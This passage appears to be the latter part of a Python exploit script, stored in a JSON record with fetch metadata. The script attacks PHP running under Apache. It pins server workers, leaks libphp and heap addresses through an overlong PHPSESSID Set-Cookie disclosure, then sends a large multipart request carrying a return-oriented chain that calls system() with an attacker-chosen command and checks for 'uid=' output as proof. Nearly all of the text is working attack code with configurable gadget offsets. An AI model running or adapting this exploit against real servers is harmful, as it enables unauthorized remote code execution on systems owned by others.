pad = build_rce_pad(\n        heap_base, libphp_base, command.encode() + b\"\\x00\",\n        block_offset=args.rce_block_offset,\n        pivot_offset=args.pivot_offset,\n        pop_rdi_offset=args.pop_rdi_offset,\n        pop_rsi_offset=args.pop_rsi_offset,\n        ret_offset=args.ret_offset,\n        zif_system_offset=args.zif_system_offset,\n    )\n    key_size = 80000\n    body = bytearray()\n    body += rce_field(b\"memshift\", b\"M\" * 40000)\n    for index in range(30):\n        body += rce_field(\n            b\"a[\" + rce_large_key(index, key_size) + b\"][c]\", b\"v\")\n    body += rce_field(b\"pad\", pad)\n    body += rce_field(b\"pad\", b\"x\")\n    for index in range(30, 45):\n        body += rce_field(\n            b\"a[\" + rce_large_key(index, key_size) + b\"][c]\", b\"v\")\n    final_name = b\"a[\" + rce_large_key(45, key_size) + b\"][c]\"\n    body += b\"--\" + RCE_BOUNDARY + b\"\\r\\n\"\n    body += b\"X: a\\r\\n\" * args.rce_headers\n    body += (b\"Content-Disposition: form-data; name=\\\"\" + final_name\n             + b\"\\\"\\r\\n\\r\\nv\\r\\n--\" + RCE_BOUNDARY + b\"--\\r\\n\")\n    if len(body) >= 8 * 1024 * 1024:\n        raise ValueError(f\"RCE body exceeds production post_max_size: {len(body)}\")\n    return bytes(body)\n\n\ndef http_exchange(host: str, port: int, request: bytes,\n                  timeout: float) -> bytes:\n    response = bytearray()\n    try:\n        sock = socket.create_connection((host, port), timeout=timeout)\n    except OSError:\n        return b\"\"\n    sock.settimeout(timeout)\n    try:\n        sock.sendall(request)\n        while True:\n            data = sock.recv(65536)\n            if not data:\n                break\n            response.extend(data)\n    except OSError:\n        pass\n    finally:\n        sock.close()\n    return bytes(response)\n\n\ndef amplified_rce(args: argparse.Namespace, heap_base: int,\n                  libphp_base: int, command: str,\n                  proof_url: str | None) -> bool | None:\n    body = build_rce_body(args, heap_base, libphp_base, command)\n    print(f\"[*] wire={len(body)} headers={args.rce_headers}\")\n    request = (\n        b\"POST \" + args.path.encode() + b\" HTTP/1.1\\r\\nHost: v\\r\\n\"\n        b\"Content-Type: multipart/form-data; boundary=\" + RCE_BOUNDARY\n        + b\"\\r\\nContent-Length: \" + str(len(body)).encode()\n        + b\"\\r\\nConnection: close\\r\\n\\r\\n\" + body\n    )\n    response = http_exchange(args.host, args.port, request, 30.0)\n    first = response.split(b\"\\r\\n\", 1)[0] if response else b\"<no response>\"\n    print(f\"[*] response={len(response)} first={first!r}\")\n    if proof_url is None:\n        return None\n    time.sleep(0.5)\n    proof = http_exchange(\n        args.host, args.port,\n        b\"GET \" + proof_url.encode()\n        + b\" HTTP/1.1\\r\\nHost: v\\r\\nConnection: close\\r\\n\\r\\n\",\n        5.0,\n    )\n    _, _, content = proof.partition(b\"\\r\\n\\r\\n\")\n    if b\"uid=\" in content:\n        print(\"[+] 128M amplified RCE:\",\n              content.decode(\"utf-8\", \"replace\").strip())\n        return True\n    print(\"[-] no proof\")\n    return False\n\n\ndef main() -> int:\n    global TARGET_PATH\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--host\", default=\"127.0.0.1\")\n    ap.add_argument(\"--port\", type=int, default=80)\n    ap.add_argument(\"--path\", default=TARGET_PATH,\n                    help=\"PHP endpoint used for pinning and exploitation\")\n    ap.add_argument(\"--pause-before-rce\", type=float, default=0.0,\n                    help=\"debug-only pause after disclosure and before RCE\")\n    ap.add_argument(\"--timeout\", type=float, default=600.0)\n    ap.add_argument(\"--pause-after-rebind\", type=float, default=0.0,\n                    help=\"debug-only GDB attach pause on the rebound holder\")\n    ap.add_argument(\"--a1-big\", type=int, default=78)\n    ap.add_argument(\"--a1-fillers128\", type=int, default=14)\n    ap.add_argument(\"--a1-burners\", type=int, default=19)\n    ap.add_argument(\"--a1-burner-len\", type=int, default=4000)\n    ap.add_argument(\"--a1-progress-len\", type=int, default=4072)\n    ap.add_argument(\"--query\", default=DEFAULT_QUERY)\n    ap.add_argument(\"--forge-page\", type=lambda x: int(x, 0), default=0x1E3,\n                    help=\"page containing the stale session ID\")\n    ap.add_argument(\"--mid-pages\", type=int, default=483,\n                    help=\"pages in the hole-making G value (default: 483)\")\n    ap.add_argument(\"--nested-fields\", type=int, default=900,\n                    help=\"nested X fields placed into the tail hole\")\n    ap.add_argument(\"--fake-len\", type=lambda x: int(x, 0), default=0x1C000)\n    ap.add_argument(\"--pointer-floor\", type=lambda x: int(x, 0),\n                    default=0x6F0000000000)\n    ap.add_argument(\"--zval-ptr-dtor-offset\", type=lambda x: int(x, 0),\n                    default=0x7AE960)\n    ap.add_argument(\n        \"--rce\", nargs=\"?\", const=DEFAULT_RCE_COMMAND, metavar=\"COMMAND\",\n        help=(\"feed the leak into the stock-128M libphp-only sink; default \"\n              f\"command: {DEFAULT_RCE_COMMAND!r}; custom commands are \"\n              \"delivered without execution verification\"))\n    ap.add_argument(\"--heap-from-lib-delta\", type=lambda x: int(x, 0),\n                    default=0x3400000,\n                    help=\"exact-image Zend main-chunk delta from libphp\")\n    ap.add_argument(\"--rce-block-offset\", type=lambda x: int(x, 0),\n                    default=0x5C400,\n                    help=\"controlled block offset after A1/B1 history\")\n    ap.add_argument(\"--rce-headers\", type=int, default=402500)\n    ap.add_argument(\"--pivot-offset\", type=lambda x: int(x, 0),\n                    default=0x6362AE)\n    ap.add_argument(\"--pop-rdi-offset\", type=lambda x: int(x, 0),\n                    default=0x280D8D)\n    ap.add_argument(\"--pop-rsi-offset\", type=lambda x: int(x, 0),\n                    default=0x2CBE07)\n    ap.add_argument(\"--ret-offset\", type=lambda x: int(x, 0),\n                    default=0x280D8E)\n    ap.add_argument(\"--zif-system-offset\", type=lambda x: int(x, 0),\n                    default=0x598650)\n    args = ap.parse_args()\n    if not args.path.startswith(\"/\"):\n        args.path = \"/\" + args.path\n    TARGET_PATH = args.path\n\n    holders: list[Holder] = []\n    holder_stop = threading.Event()\n    holder_thread = threading.Thread(\n        target=keep_holders_alive, args=(holders, holder_stop), daemon=True)\n    holder_thread.start()\n    try:\n        # Over a VPN, opening 150 sockets can exceed mod_reqtimeout's initial\n        # body window.  Start the keeper first so early holders survive while\n        # later connections are still being established.\n        effective_workers = discover_worker_pool(\n            args.host, args.port, holders, 512, 5.0, 2)\n        scrub_worker_pool(holders, args.host, args.port, args.path, 30.0)\n        hold_workers_parallel(args.host, args.port, effective_workers, holders)\n        print(f\"[+] repinned scrubbed pool={effective_workers}\", flush=True)\n        queued_release_index = len(holders) - 1\n        print(f\"[*] pinned {len(holders)}/{effective_workers} workers\")\n\n        with tempfile.TemporaryDirectory(prefix=\"ninebie-8511-\") as tmp_s:\n            tmp = Path(tmp_s)\n            a1 = tmp / \"a1.bin\"\n            build_a1_body(a1, args)\n            a1_response = tmp / \"a1.resp\"\n            b1 = tmp / \"b1.bin\"\n            build_leak_body(b1, args)\n            b1_response = tmp / \"b1.resp\"\n\n            # Queue B1 while A1 owns the only unpinned worker.  Waiting for\n            # A1's response before connecting B1 leaves a small accept() race\n            # in which a newly forked child can consume B1 and lose PS(id).\n            # Two clean cycles force a residual retirement-marked child to\n            # exit, then bind the surviving/fresh replacement while N-1 other\n            # workers remain pinned.\n            old_holder = holders.pop(queued_release_index)\n            rebound = None\n            for rebind_attempt in range(1, 3):\n                old_port = old_holder.getsockname()[1]\n                try:\n                    cleanly_release_holder(\n                        old_holder, args.host, args.port, args.path, 15.0)\n                except (OSError, RuntimeError) as exc:\n                    close_holder(old_holder)\n                    print(f\"[*] clean rebind probe closed early: {exc}\")\n                started = time.monotonic()\n                rebound = open_accepted_holder(args.host, args.port, 30.0)\n                print(f\"[*] rebind attempt={rebind_attempt} old_port={old_port} \"\n                      f\"new_port={rebound.getsockname()[1]} \"\n                      f\"elapsed={time.monotonic() - started:.3f}s\")\n                if rebind_attempt == 1:\n                    old_holder = rebound\n            assert rebound is not None\n            holders.append(rebound)\n            queued_release_index = len(holders) - 1\n            if args.pause_after_rebind:\n                print(f\"[*] pausing {args.pause_after_rebind:g}s after rebind\")\n                time.sleep(args.pause_after_rebind)\n\n            a1_process = start_chunked(\n                args.host, args.port, args.path + args.query, a1,\n                a1_response, 180.0)\n            # Queue both connections before releasing the lane.  FIFO ordering\n            # keeps B1 behind A1 even when A1 reaches OOM immediately.\n            time.sleep(0.25)\n            b1_process = start_chunked(\n                args.host, args.port, args.path, b1, b1_response,\n                args.timeout)\n            time.sleep(0.05)\n            released = holders.pop(queued_release_index)\n            local_port = released.getsockname()[1]\n            close_holder(released)\n            print(f\"[*] released rebound holder client_port={local_port} \"\n                  \"into queued A1/B1\")\n            finish_chunked(a1_process, a1_response, 200.0)\n            print(f\"[*] A1 response={a1_response.stat().st_size}\")\n            response = finish_chunked(b1_process, b1_response,\n                                      args.timeout + 30.0)\n\n            encoded = cookie_value(response)\n            print(f\"[*] B1 response={len(response)} encoded_cookie={len(encoded)}\")\n            if not encoded:\n                print(\"[-] no Set-Cookie PHPSESSID value\")\n                return 1\n            result = summarize_cookie(encoded, args.pointer_floor)\n            decoded = result[\"decoded\"]\n            pointers = result[\"pointers\"]\n            print(f\"[*] decoded_cookie={len(decoded)} candidates={len(pointers)}\")\n            for value, count in result[\"top\"]:\n                print(f\"    {value:#014x} count={count}\")\n            if len(decoded) <= 256:\n                print(f\"[-] normal-size cookie: {decoded!r}\")\n                return 2\n            if pointers:\n                dominant, count = pointers.most_common(1)[0]\n                libphp = dominant - args.zval_ptr_dtor_offset\n                buckets = Counter()\n                for value, value_count in pointers.items():\n                    buckets[value & ~0x1FFFFF] += value_count\n                print(f\"[+] dominant={dominant:#x} count={count} \"\n                      f\"libphp_candidate={libphp:#x}\")\n                print(\"[+] 2MiB pointer buckets: \" + repr([\n                    (hex(base), bucket_count)\n                    for base, bucket_count in buckets.most_common(8)\n                ]))\n            print(\"[+] overlong Set-Cookie disclosure reproduced\")\n            if args.rce is not None:\n                if not pointers:\n                    print(\"[-] cannot run RCE without a module pointer\")\n                    return 3\n                if count < 100 or libphp & 0x1FFFFF:\n                    print(\"[-] dominant pointer failed the exact-build profile\")\n                    return 4\n                heap = libphp + args.heap_from_lib_delta\n                if not buckets.get(heap):\n                    print(\"[-] derived main chunk is absent from leak buckets\")\n                    return 5\n                print(f\"[+] derived main_chunk={heap:#x} \"\n                      f\"(libphp+{args.heap_from_lib_delta:#x})\")\n                sys.stdout.flush()\n                if args.pause_before_rce:\n                    print(f\"[*] pausing {args.pause_before_rce:g}s before RCE\",\n                          flush=True)\n                    time.sleep(args.pause_before_rce)\n                time.sleep(0.2)\n                proof_url = (DEFAULT_RCE_PROOF_URL\n                             if args.rce == DEFAULT_RCE_COMMAND else None)\n                rce_verified = amplified_rce(\n                    args, heap, libphp, args.rce, proof_url)\n                if rce_verified is False:\n                    print(\"[-] composed leak-to-RCE stage failed\")\n                    return 6\n                if rce_verified:\n                    print(\"[+] composed leak-to-RCE chain succeeded\")\n                else:\n                    print(\"[?] composed leak-to-RCE payload delivered; \"\n                          \"execution unverified\")\n            return 0\n    finally:\n        holder_stop.set()\n        holder_thread.join(timeout=2)\n        for sock in holders:\n            try:\n                sock.close()\n            except OSError:\n                pass\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())","sha256":"81a985609f8b6e36bab127dfa88bb72289463c46ac26e38ffa16174ee9fecff2","bytes":43114,"fetchedAt":"2026-11-25T10:17:06.036Z","encoding":"utf-8 (display only; download retains original bytes)"}